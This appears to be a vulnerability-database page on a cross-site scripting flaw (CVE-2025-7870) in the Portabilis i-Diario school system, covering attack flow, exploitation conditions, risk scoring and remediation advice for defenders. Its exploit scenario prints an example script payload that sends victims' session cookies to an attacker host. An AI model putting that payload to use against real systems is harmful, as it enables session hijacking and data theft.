Portabilis i-Diario
CVE-2025-7870
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend authenticated request with malicious Anexo parameter
-
DeliveryInject JavaScript into justificativas-de-falta endpoint
-
ExploitServer reflects or stores unsanitized input
-
ExecutionVictim accesses endpoint and JavaScript executes
-
ImpactSession cookie or sensitive data stolen or malicious action performed in victim's context
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) Valid authenticated access to Portabilis i-Diario (PR:L - Low privilege, likely any registered user role). (2) Access to the justificativas-de-falta endpoint with ability to submit or modify the Anexo parameter, typically during the submission of absence justifications. (3) User interaction (UI:P) - a victim must click a malicious link or actively view the page containing the injected payload; the XSS does not execute automatically on endpoint access. (4) Absence of output encoding or input validation on the Anexo parameter, confirming the installation is unpatched. (5) For Stored XSS (if applicable), the Anexo parameter must be persisted and rendered to other users without sanitization. Non-default hardened configurations (e.g., CSP headers, input validation rules, or WAF rules blocking script tags) would prevent exploitation even if the code vulnerability exists. |
| Impact | Multiple conflicting signals require careful analysis. The CVSS score of 2.0 and EPSS percentile of 15% (0.05% exploitation probability) indicate this is a low-priority vulnerability in practice, despite CWE-79 being a common web attack vector. The public exploit availability and positive exploitation likelihood (E:P in CVSS vector) show the vulnerability is technically exploitable, but the mandatory authentication requirement (PR:L), user interaction (UI:P), and limited impact scope (VI:L - only Integrity affected, Confidentiality and Availability unaffected) significantly constrain real-world risk. This is a classic example of a high-CWE-severity vulnerability with low practical impact due to stringent exploitation conditions. Organizations with restrictive access controls on i-Diario (limiting authenticated user base) face lower risk. However, institutions with permissive user provisioning or shared accounts should prioritize patching to prevent persistent stored XSS affecting multiple users. No KEV listing confirms this is not actively exploited at scale despite public disclosure. |
| Exploit ScenarioDerived | An authenticated user (e.g., a teacher or administrator) crafts a malicious link or form submission that includes JavaScript code in the Anexo parameter of the justificativas-de-falta endpoint, such as: 'anexo=<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>'. When another authenticated user (e.g., a parent or school administrator) accesses the endpoint and views the crafted attachment reference, the injected script executes in their browser within the i-Diario session context, stealing authentication cookies or session tokens. If the XSS is stored (not just reflected), all future visitors to the affected absence justification record will also be compromised until the malicious entry is deleted. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Cross-site scripting (XSS) in Portabilis i-Diario 1.5.0 allows authenticated users to inject malicious scripts via the Anexo parameter in the justificativas-de-falta endpoint, impacting other users who view the affected content. The vulnerability requires user interaction and authenticated access, with an EPSS score of 0.05% indicating low real-world exploitation likelihood despite public exploit availability. The vendor has not responded to disclosure communications.
RemediationAI
No vendor-released patch has been identified at time of analysis, and the vendor has not responded to disclosure communications. Immediate compensating controls are required: (1) Implement strict Content Security Policy (CSP) headers with script-src 'self' to prevent inline script execution, blocking injected XSS payloads even if reflected. This prevents script execution but may break legitimate functionality relying on inline scripts - test thoroughly in staging. (2) Apply input validation on the Anexo parameter at the application layer: accept only alphanumeric characters and specific safe file extensions (e.g., .pdf, .jpg), rejecting anything containing HTML or script tags. Document the whitelist to avoid false positives. (3) Enforce output encoding: all user-supplied data rendered in HTML context must be HTML-entity-encoded (e.g., < becomes <). This requires code-level fixes if the vendor does not patch. (4) Restrict access to i-Diario's justificativas-de-falta functionality to only authorized educational staff, using role-based access control to minimize the authenticated user base that can inject payloads. (5) Monitor access logs for suspicious Anexo parameter values containing script tags or HTML entities. If the vendor releases a patch, upgrade immediately and verify the Anexo parameter is properly sanitized. Escalate requests to the vendor (Portabilis) for an official security update through all available channels.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in the justificativas-de-falta endpoint of Portabilis i-Diario, a Brazilian educational management system. The Anexo (attachment) parameter fails to properly sanitize or encode user-supplied input before reflecting it in responses or storing it for later rendering, allowing attackers to inject arbitrary HTML and JavaScript. This is a classic Reflected or Stored XSS vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation). The CVSS vector indicates network-accessible exploitation with low complexity, but requires prior authentication (PR:L) and user interaction (UI:P), meaning a victim must click a malicious link or view crafted content.
Know when I Diario gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (vuldb) · only source for this CVE.
CVSS VectorVendor: vuldb
DescriptionCVE.org
A vulnerability, which was classified as problematic, was found in Portabilis i-Diario 1.5.0. This affects an unknown part of the component justificativas-de-falta Endpoint. The manipulation of the argument Anexo leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
A vulnerability was determined in Portabilis i-Diario up to 1.5.0. Rated medium severity (CVSS 5.3), this vulnerability
Stored cross-site scripting (XSS) in Portabilis i-Diario 1.5.0 allows authenticated users to inject malicious scripts vi
Stored cross-site scripting (XSS) in Portabilis i-Diario 1.5.0 allows authenticated users to inject malicious scripts vi
A vulnerability was found in Portabilis i-Diario up to 1.5.0. Rated medium severity (CVSS 5.1), this vulnerability is re
A vulnerability has been found in Portabilis i-Diario up to 1.5.0. Rated medium severity (CVSS 5.1), this vulnerability
A flaw has been found in Portabilis i-Diario up to 1.5.0. Rated medium severity (CVSS 5.1), this vulnerability is remote
A vulnerability was found in Portabilis i-Diario up to 1.5.0 and classified as problematic. Rated medium severity (CVSS
A vulnerability has been found in Portabilis i-Diario up to 1.5.0 and classified as problematic. Rated medium severity (
A vulnerability, which was classified as problematic, was found in Portabilis i-Diario up to 1.5.0. Rated medium severit
A vulnerability classified as problematic was found in Portabilis i-Diario 1.5.0. Rated medium severity (CVSS 5.1), this
A vulnerability was determined in Portabilis i-Diario up to 1.6. Rated medium severity (CVSS 4.8), this vulnerability is
A vulnerability was identified in Portabilis i-Diario 1.6. Rated medium severity (CVSS 4.8), this vulnerability is remot
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB